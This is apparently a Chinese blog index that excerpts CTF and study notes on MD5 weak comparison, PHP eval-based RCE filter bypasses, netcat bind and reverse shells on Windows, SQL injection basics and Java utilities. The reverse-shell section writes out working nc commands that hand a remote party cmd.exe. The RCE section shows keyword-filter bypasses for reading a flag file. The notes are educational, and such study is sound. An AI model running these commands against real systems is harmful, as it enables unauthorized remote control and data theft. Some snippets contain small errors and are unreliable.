沙箱逃逸
参考文章NodeJS沙箱逃逸分析 - 掘金 (juejin.cn)
NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)(力荐!)
MD5碰撞
前言:在CTF中可以说是经常碰到md5加密了,一般都是进行强比较抑或是弱比较,考法非常多,但是万变不离其中。只要我们掌握了原理,一切问题便迎刃而解了。
简单了解MD5:
md5是一种加密算法,并且不能防止碰撞破解。
md5加密是不可逆的,这就意味着有两串不同的字符串``加密出来的内容却是相同的
加密过程简单,碰撞还原字符难
字符串与int类型比较:PHP规定当进行字符串与数字的弱比较时,会进行如下步骤:先看字符串开头是否为数字,如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123如果开头不为数字,则判断为false,即0。因此("aaa123"==0) =>true("123a"==123) =>true
字符串与字符串比较:正如上面所言:
1var_dump("123a"=="123"); //False
因为这个是字符串之间进行比较,想要绕过这个弱比较只能用0e的方式。在PHP中”0e”判断为科学计数法 ...
Web trick
[NISACTF 2022]checkin(Unicode)题目分析参考文章:
【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx (xiinnn.com)
题解1、打开看到源码
123456789<?phperror_reporting(0);include "flag.php";// NISACTFWelcome toif ("jitanglailo" == $_GET[ahahahaha] &+!!& " Flag!N1SACTF" == $_GET[Ugeiwocuishiyuan]) { //tnnd! weishenme b echo $FLAG;}show_source(__FILE__);?>
2、当我们传参ahahahaha=jitanglailo&cuishiyuan=N1SACTF时,并不能通过
3、将代码复制到vscode里面发现猫腻
有不可见字符,在传参时要把 ...
RCE
例题实练1. 【Level1】张sir的远程命令执行题目分析一道简单的RCE绕过题目,在提交一栏中输入命令找flag
题解
输入ls,查看当前目录下的文件
flag.php index.php
输入cat flag.php 发现失败了
换一个tac flag.php
成功绕过,拿到flag
解题心得一个很简单的关键字过滤绕过,查看过题目源码,是把“cat”过滤掉, 所以换成其他显示输出的命令就可以了,不只是tac,还可以用head,tail,nl等
2. 【level 1】so easy rce题目分析1234567 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>
分析代码可以知道,需要对cmd进行传参,_REQUEST可以使用post传参,并执行eval函数
题解
打开hackbar进行POST传参
cmd ...
Eclipse设置
1、设置快捷键参考文章:
备战蓝桥杯:Java 组环境安装与 Eclipse 体验优化 - 知乎 (zhihu.com)
1.1、设置字母快捷键
1.2、格式化代码
1.3、自动补全参考文章:
(18条消息) eclipse设置仅“enter”自动确认补全,取消空格、=或者其它按键的自动确认补全_qizhiyv的博客-CSDN博客
2、汉化参考文章:
Eclipse安装中文语言包(官方汉化) - 知乎 (zhihu.com)
(18条消息) Eclipse 2020-06 汉化包安装步骤(附汉化包+安装教程)(转载)_普通网友的博客-CSDN博客
(1)下载中文语言包
不同版本的eclipse与其语言包是不一定兼容的,所以看清版本,下载对应的语言包,否则可能汉化失败。
语言包下载地址:Eclipse Babel Project Downloads | The Eclipse Foundation
打开的页面中选择:Chinese (Simplified),点击跳转到中文语言包的位置。
把“Chinese (Simplified)”这一组的文件都下载下来(上图红框里), ...
反弹shell
为什么要反弹shell1、目标机因防火墙受限,目标机器只能发送请求,不能接收请求
2、目标机端口被占用
3、目标机位于局域网,或IP会动态变化,攻击机无法直接连接
4、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的
反弹shell的方法Windows反弹shell工具:netcat/nc
1、NC正向shell
控制端主动连接被控端
12345678910111213被控端:nc -lvvp 6666 -e cmd.exe-l 监听-vv 显示详细信息-p 指定端口控制端:nc 192.168.162.6666原理:被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
2、NC反向shell
被控端主动连接控制端
12345678控制端:nc -lvvp 6666被控端:nc -e cmd.exe 192.168.227 6666原理:被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell
Linux反弹shell1、NC ...
Java快读快写
快读1. StringTokenizer(最推荐使用)12345678910111213141516171819202122232425262728293031323334353637383940 class FastReader { StringTokenizer st; BufferedReader br; public FastReader() { br = new BufferedReader(new InputStreamReader(System.in)); } String next() { while(st == null || !st.hasMoreElements()) { try { st = new StringTokenizer(br.readLine()); } catch(IOException ioe) { ...
Java常用Collections类
Map使用方法1、赋值
1234Map<K, V> map = new HashMap<>() { put(K, V); put(K, V);};
2、遍历
1234for(Map.Entry<K, V> entry : map.entrySet()) { int key = entry.getKey(); int value = entry.getValue();}
3、常用方法
1defaultV getOrDefault(Object key,V defaultValue)
返回指定键映射到的值,如果此映射不包含键的映射,则返回 defaultValue 。
HashMapTreeMapSetHashSetTreeSetList / QueueLinkedListArrayListStringBuilder
Java进制转换
一、十进制转换成其他进制1、十进制转二进制
Integer.toBinaryString(int i)
例子:
int a = 100; System.out.println(Integer.toBinaryString(a));
输出结果:1100100
2、十进制转八进制Integer.toBinaryString(int i)
例子:
int b = 100; System.out.println(Integer.toOctalString(b));
输出结果:144
3、十进制转十六进制Integer.toBinaryString(int i)
例子:
int c = 100;System.out.println(Integer.toHexString(c));
输出结果:64
二、其他进制转化为十进制Java更新到1.8 版本以后 其他进制转换为10进制有一个公用方法
Integer.valueOf(“FFFF”,进制数).toString()
进制数可以选填 :
1、”2” 表示是把前面的2进制数转换成十进制数
例子:
int d = ...
SQL注入基础
1、SQL注入基础知识需要注意的知识SQL语法不像是C,Java,PHP等语言,SQL是对大小写不敏感的,例如执行SELECT和select时效果是一样的
基础的SQL命令
select
select column1, column2, …
from table_name
select * from table_name
select distinct
select distinct column1, column2, …from table_name
类似集合set的意思,如果一个值在查询中出现多次,在查询结果中只会保留一次
updata
delete
insert into
create database
alter database
create table
alter table
drop table
create index
drop index
虽然都是删除的含义,删除数据和删除表的内容时用的命令不一样,delete删数据以及drop删表的内容
SQL注入
SQL注入常见函数
group_concat() – 将查询内容组合成一个 ...